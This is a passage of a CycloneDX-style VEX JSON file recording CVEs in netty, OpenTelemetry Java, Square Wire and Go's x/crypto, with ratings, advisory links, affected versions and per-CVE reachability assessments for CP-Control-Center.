"https://access.redhat.com/errata/RHSA-2026:36820" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37390" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48124" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49700" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49701" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50085" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53644" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53806" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54435" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-44249" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488081" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-3qp7-7mw8-wx86" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44249" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44249.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-44249" } ], "published": "2026-06-11T22:16:56+00:00", "updated": "2026-09-02T13:17:52+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-handler@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-handler@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-handler@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-handler@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-handler@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-handler@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-handler@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-handler@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. netty's IP subnet filter (IpSubnetFilterRule / IpFilterRule) is not used anywhere in the product, so the IPv6 comparator-masking bypass is not reachable." } }, { "id": "CVE-2026-45292", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 770 ], "description": "opentelemetry-java is the Java implementation of the OpenTelemetry API for recording telemetry, and SDK for managing telemetry recorded by the API. Prior to 1.62.0, a vulnerability affects the baggage propagation implementation in opentelemetry-api and opentelemetry-extension-trace-propagators. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request. This vulnerability is fixed in 1.62.0.", "recommendation": "Upgrade io.opentelemetry:opentelemetry-api to version 1.62.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-45292" }, { "url": "https://access.redhat.com/errata/RHSA-2026:28573" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36820" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43038" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60520" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-45292" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482785" }, { "url": "https://github.com/open-telemetry/opentelemetry-java" }, { "url": "https://github.com/open-telemetry/opentelemetry-java/commit/03837d3c1763bc35464aea1078671e2ef2336a5f" }, { "url": "https://github.com/open-telemetry/opentelemetry-java/pull/8380" }, { "url": "https://github.com/open-telemetry/opentelemetry-java/releases/tag/v1.62.0" }, { "url": "https://github.com/open-telemetry/opentelemetry-java/security/advisories/GHSA-rcgg-9c38-7xpx" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45292" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45292.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-45292" } ], "published": "2026-05-28T17:16:32+00:00", "updated": "2026-09-02T13:17:53+00:00", "affects": [ { "ref": "pkg:maven/io.opentelemetry/opentelemetry-api@1.42.1", "versions": [ { "version": "1.42.1", "status": "affected" } ] }, { "ref": "pkg:maven/io.opentelemetry/opentelemetry-api@1.42.1", "versions": [ { "version": "1.42.1", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.opentelemetry/opentelemetry-api@1.42.1" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.opentelemetry/opentelemetry-api@1.42.1" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. the OpenTelemetry W3C Baggage propagator is not wired to parse inbound request headers, so the unbounded baggage-allocation path is not reachable." } }, { "id": "CVE-2026-45416", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 770 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard at line 140 is `handshakeLength > maxClientHelloLength && maxClientHelloLength != 0`, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes. Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-handler to version 4.2.15.Final, 4.1.135.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-45416" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26017" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26018" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26586" }, { "url": "https://access.redhat.com/errata/RHSA-2026:28573" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34608" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37390" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49700" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49701" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50085" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53644" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53806" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54435" }, { "url": "https://access.redhat.com/errata/RHSA-2026:62260" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-45416" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488391" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-x4gw-5cx5-pgmh" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45416" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45416.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-45416" } ], "published": "2026-06-12T15:16:26+00:00", "updated": "2026-09-02T13:17:53+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-handler@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-handler@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-handler@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-handler@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-handler@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-handler@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-handler@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-handler@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. netty's SniHandler is not wired on any listener in this product, so the vulnerable ClientHello buffer pre-allocation path is not reachable." } }, { "id": "CVE-2026-45536", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 4, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "redhat" }, "score": 4, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "cwes": [ 200, 772 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) \u2014 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg->cmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking \u2192 EAGAIN \u2192 Java maps to 0 \u2192 read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default). Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-transport-native-epoll to version 4.2.15.Final, 4.1.135.Final; Upgrade io.netty:netty-transport-native-kqueue to version 4.2.15.Final, 4.1.135.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-45536" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-45536" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-w573-9ffj-6ff9" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45536" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-45536" } ], "published": "2026-06-12T15:16:27+00:00", "updated": "2026-06-17T10:52:10+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-transport-native-epoll@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-transport-native-kqueue@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-transport-native-epoll@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-transport-native-epoll@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-transport-native-kqueue@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-transport-native-kqueue@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-transport-native-epoll@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-transport-native-kqueue@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-transport-native-kqueue@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-transport-native-kqueue@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-transport-native-epoll@4.1.133.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-transport-native-kqueue@4.1.133.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-transport-native-epoll@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-transport-native-kqueue@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-transport-native-epoll@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-transport-native-kqueue@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-transport-native-epoll@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-transport-native-kqueue@4.2.13.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. the product does not use netty's native epoll/kqueue Unix-domain-socket transport for file-descriptor passing, so the vulnerable dual-fd receive path is not reachable (the flaw is also local-only, AV:L)." } }, { "id": "CVE-2026-45673", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 6.8, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N" }, { "source": { "name": "redhat" }, "score": 6.8, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N" } ], "cwes": [ 330, 340 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack). Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-resolver-dns to version 4.2.15.Final, 4.1.135.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-45673" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-45673" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-xmv7-r254-6q78" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45673" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-45673" } ], "published": "2026-06-12T15:16:27+00:00", "updated": "2026-06-17T10:52:27+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. netty's DNS resolver (DnsAddressResolverGroup / DnsNameResolver) is never instantiated; name resolution uses the JVM resolver, so the vulnerable path is not reachable." } }, { "id": "CVE-2026-45674", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 8.7, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N" }, { "source": { "name": "nvd" }, "score": 10, "severity": "critical", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N" }, { "source": { "name": "redhat" }, "score": 8.7, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N" } ], "cwes": [ 345, 346 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses. Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-resolver-dns to version 4.2.15.Final, 4.1.135.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-45674" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26017" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26018" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26586" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34608" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37390" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49700" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49701" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50085" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53644" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53806" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54435" }, { "url": "https://access.redhat.com/errata/RHSA-2026:62260" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-45674" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488400" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-676x-f7gg-47vc" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45674" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45674.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-45674" } ], "published": "2026-06-12T15:16:27+00:00", "updated": "2026-09-02T13:17:55+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. netty's DNS resolver (DnsAddressResolverGroup / DnsNameResolver) is never instantiated; name resolution uses the JVM resolver, so the vulnerable CNAME bailiwick path is not reachable." } }, { "id": "CVE-2026-45799", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 129 ], "description": "Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.3.0 and 7.0.0-alpha03, ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() in wire-runtime do not validate that a LENGTH_DELIMITED field length is non-negative before skip(), allowing a crafted protobuf varint encoding -128 as a signed Int to make skip(-128) move the internal position negative and make the next readByte() throw ArrayIndexOutOfBoundsException instead of the documented IOException or ProtocolException, which can crash services using ProtoAdapter.decode(byte[]) on untrusted payloads. This issue is fixed in versions 6.3.0 and 7.0.0-alpha03.", "recommendation": "Upgrade com.squareup.wire:wire-runtime-jvm to version 6.3.0, 7.0.0-alpha03", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-45799" }, { "url": "https://github.com/square/wire" }, { "url": "https://github.com/square/wire/commit/47d5b0dba53935d5332cd41a80a353b3fc90e7b0" }, { "url": "https://github.com/square/wire/commit/e4e56fab38a547d9625f05c97f1d8f0bcc3a5773" }, { "url": "https://github.com/square/wire/pull/3595" }, { "url": "https://github.com/square/wire/pull/3597" }, { "url": "https://github.com/square/wire/releases/tag/6.3.0" }, { "url": "https://github.com/square/wire/releases/tag/7.0.0-alpha03" }, { "url": "https://github.com/square/wire/security/advisories/GHSA-7xpr-hc2w-34m9" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45799" } ], "published": "2026-07-17T20:17:18+00:00", "updated": "2026-08-12T19:04:04+00:00", "affects": [ { "ref": "pkg:maven/com.squareup.wire/wire-runtime-jvm@5.5.0", "versions": [ { "version": "5.5.0", "status": "affected" } ] }, { "ref": "pkg:maven/com.squareup.wire/wire-runtime-jvm@5.5.0", "versions": [ { "version": "5.5.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.squareup.wire/wire-runtime-jvm@5.5.0" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.squareup.wire/wire-runtime-jvm@5.5.0" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-46595", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 863, 303 ], "description": "Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-46595" }, { "url": "https://access.redhat.com/errata/RHSA-2026:23262" }, { "url": "https://access.redhat.com/errata/RHSA-2026:23264" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26546" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26547" }, { "url": "https://access.redhat.com/errata/RHSA-2026:30650" }, { "url": "https://access.redhat.com/errata/RHSA-2026:30651" }, { "url": "https://access.redhat.com/errata/RHSA-2026:33524" }, { "url": "https://access.redhat.com/errata/RHSA-2026:33531" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36207" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36648" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36651" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36797" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36808" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36820" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37275" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37387" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40118" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40945" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41019" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41036" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43692" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47737" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51033" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54531" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59467" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59558" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60520" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61314" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-46595" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480689" }, { "url": "https://github.com/golang/crypto/commit/533fb3f7e4a5ae23f69d1837cd851d35ff5b76ce" }, { "url": "https://go.dev/cl/781642" }, { "url": "https://go.dev/issue/79570" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46595" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5023" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46595.json" }, { "url": "https://ubuntu.com/security/notices/USN-8447-1" }, { "url": "https://ubuntu.com/security/notices/USN-8447-3" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-46595" } ], "published": "2026-05-22T04:16:25+00:00", "updated": "2026-09-02T13:17:56+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { 